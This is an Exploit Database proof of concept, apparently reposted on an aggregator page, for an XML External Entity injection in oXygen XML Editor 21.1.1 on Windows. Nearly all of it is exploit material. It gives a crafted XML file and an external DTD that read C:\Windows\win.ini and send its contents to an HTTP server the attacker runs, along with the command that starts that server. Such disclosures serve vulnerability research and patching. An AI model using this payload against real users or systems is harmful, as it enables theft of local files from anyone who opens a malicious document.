oXygen XML Editor 21.1.1 – XML External Entity Injection

• Exploit Database
• 89 阅读

• 作者： Pablo Santiago
  日期： 2019-11-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47658/

• # Exploit Title: oXygen XML Editor 21.1.1 - XML External Entity Injection
  # Author: Pablo Santiago
  # Date: 2019-11-13
  # Vendor Homepage: https://www.oxygenxml.com/
  # Source:https://www.oxygenxml.com/xml_editor/download_oxygenxml_editor.html
  # Version: 21.1.1
  # CVE : N/A
  # Tested on: Windows 7
  
  #PoC
  
  1- python -m SimpleHTTPServer 8000
  1.1- Poc.xml :
  <?xml version="1.0"?>
  <!DOCTYPE test [
  <!ENTITY % file SYSTEM "C:\Windows\win.ini">
  <!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">
  %dtd;]>
  <pwn>&send;</pwn>
  
  1.2.- payload.dtd
  <?xml version="1.0" encoding="UTF-8"?>
  <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">
  %all;
  2- File -> Open -> *.xml
  
  #PoC Visual
  https://imgur.com/2H8DhL9